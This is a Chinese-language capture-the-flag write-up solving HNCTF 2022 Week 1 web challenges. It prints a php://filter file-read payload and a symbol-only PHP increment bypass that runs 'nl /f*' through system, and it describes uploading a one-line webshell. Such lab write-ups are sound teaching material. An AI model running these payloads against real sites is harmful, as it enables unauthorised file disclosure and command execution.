HNCTF 2022 Week1 web方向
Interesting_include
进题代码如下,直接php伪协议读取
<?php
//WEB手要懂得搜索
//flag in ./flag.php
if(isset($_GET['filter'])){
$file = $_GET['filter'];
if(!preg_match("/flag/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
filter=php://filter/read=convert.base64-encode/resource=./flag.php
2048
直接在js源码中找到了如下内容
if (this.score > 20000)
{
//var md5util= require("md5.js"); //写文件路径即可
alert(String.fromCharCode(24685,21916,33,102,108,97,103,123,53,51,49,54,48,99,56,56,56,101,50,53,99,51,102,56,50,56,98,50,51,101,51,49,54,97,55,97,101,48,56,51,125));
}
直接把alert语句放在控制台运行,即可得到flag
easy_html
进题说饼干中好像有什么东西,于是查看cookie,发现cookie内容为flagisin=.%2Ff14g.php,前往**.%2Ff14g.php**查看,出现了一个登录框,测试了sql注入和ssti注入发现都不行,随后查看源码发现允许输入的最大长度为10,与正常手机号长度不符
<form action="f14g.php" method="post">
请输入手机号登录:<input type="text" maxlength="10" name="cnt">
<br>
<input type="submit" name="login" value="登录">
</form>
修改长度为11后传入长度为11的数字串即可得到flag
What is Web
今天,看源码,在源码底部找到了经过base64编码的flag
Interesting_http
进题,根据题目内容可知要用post传want参数,然后改cookie,然后xff伪造即可,bp发包如下
easy_upload
文件上传题,直接传一个含有一句话木马的php文件,然后前往文件上传路径后用蚁剑连接即可找到flag
Challenge__rce
进题什么都没有,查看源码,可知要用hit进行GET传参,随意传了个内容后出现了如下代码
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
对代码进行审计,首先传入的rce长度不能超过120,然后过滤了一堆符号和字母,根据过滤可知该题可以使用自增绕过,payload如下
GET:?hint&1=system&2=nl /f*
POST:rce=rce=$_=[]._;$_3=$_[1];$_=$_[3];++$_;$_1=++$_;++$_;++$_;++$_;++$_;$_=$_1.++$_.$_3;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);